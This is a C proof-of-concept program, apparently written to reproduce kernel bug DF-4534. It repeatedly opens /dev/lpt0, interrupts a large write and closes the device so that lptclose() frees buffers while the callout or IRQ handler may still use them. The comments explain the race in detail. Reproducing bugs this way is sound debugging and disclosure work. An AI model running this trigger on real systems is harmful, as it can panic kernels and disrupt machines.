/*
 * DF-4534 -- lpt.c lptclose() frees sc_inbuf/sc_statbuf while the lptout
 * callout and the registered lpt IRQ handler may still be executing.
 *
 * Per cycle:
 *   1. open /dev/lpt0 (interrupt-driven; arms the lptout callout, which
 *      due to DF-1680 fires every 1 tick = 10ms).
 *   2. fork a child that write()s 16 MB; after 60ms parent signals it.
 *      write() returns EINTR with sc_xfercnt > 0, INTERRUPTED set, the
 *      self-sustaining IRQ chain still strobing bytes (QEMU raises IRQ 7
 *      on every strobe-clear with LPC_ENA, so lpt_intr runs at high rate).
 *   3. parent close(fd): because INTERRUPTED is set, lptclose skips the
 *      drain loop and immediately does callout_stop() (lpt.c:596) then
 *      kfree(sc_inbuf/sc_statbuf) (lpt.c:598-599) -- while an in-flight
 *      lptout/lpt_intr on another CPU may be between the HAVEBUS check
 *      and `ppb_wdtr(ppbus, *sc->sc_cp++)' (lpt.c:856), and while the
 *      interrupt handler is still registered (teardown only happens in
 *      ppb_release_bus at lpt.c:605, AFTER the kfree).
 *
 * A use-after-free read here is silent (the byte goes to the port), so
 * externally we watch for: guest panic, or anomalous bytes on the
 * host-side capture file after the free point.
 *
 * ./close_lifetime <cycles>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>

static void
usr1(int sig __attribute__((unused)))
{
}

int
main(int argc, char **argv)
{
	int cycles = (argc > 1) ? atoi(argv[1]) : 400;
	int i;

	for (i = 0; i < cycles; i++) {
		int fd = open("/dev/lpt0", O_WRONLY);
		if (fd < 0) {
			perror("open");
			return 2;
		}
		pid_t pid = fork();
		if (pid == 0) {
			static char buf[16 * 1024 * 1024];
			signal(SIGUSR1, usr1);
			memset(buf, 'W', sizeof(buf));
			ssize_t r = write(fd, buf, sizeof(buf));
			fprintf(stderr, "[c] write -> %zd errno=%d\n", r, errno);
			_exit(0);
		}
		usleep(60000);		/* let the transfer get going */
		kill(pid, SIGUSR1);
		waitpid(pid, NULL, 0);
		close(fd);		/* INTERRUPTED set: instant kfree window */
		if ((i % 50) == 0) {
			printf("[*] cycle %d\n", i);
			fflush(stdout);
		}
	}
	printf("[*] done %d cycles\n", cycles);
	return 0;
}
